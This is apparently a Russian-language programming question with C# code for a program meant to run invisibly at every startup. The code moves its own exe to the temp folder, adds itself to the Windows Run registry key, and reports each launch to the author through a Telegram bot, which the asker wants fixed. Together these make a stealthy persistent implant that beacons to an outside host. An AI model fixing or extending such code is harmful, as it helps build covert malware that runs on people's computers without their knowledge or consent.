Я хочу написать простую программу на C#, которая будет автоматически запускаться при включении компьютера. После первого запуска exe файл должен удаляться. Да и вообще программа должна быть не видна пользователю. Также при первом запуске мне в тг бот должно приходить сообщение о том, что кто-то запустил мою программу. Эта часть не работает. Телеграм бот запущен на сервере. Что нужно изменить в коде, чтобы отправка сообщений через телеграм работала?
Вот мой код:
using System;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using Telegram.Bot;
class Program
{
static async void SendTelegramMessage(string message)
{
string botToken = "токен бота";
long chatId = мой id;
TelegramBotClient botClient = new TelegramBotClient(botToken);
await botClient.SendTextMessageAsync(chatId, message);
}
static void Main()
{
string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string exePath = Process.GetCurrentProcess().MainModule.FileName;
string tempPath = Path.Combine(Path.GetTempPath(), "myprogram.exe");
File.Move(exePath, tempPath);
SendTelegramMessage("Кто-то запустил программу");
AddToStartup(tempPath);
Environment.Exit(0);
}
static void AddToStartup(string programPath)
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
key.SetValue("MyProgram", programPath);
}
}
}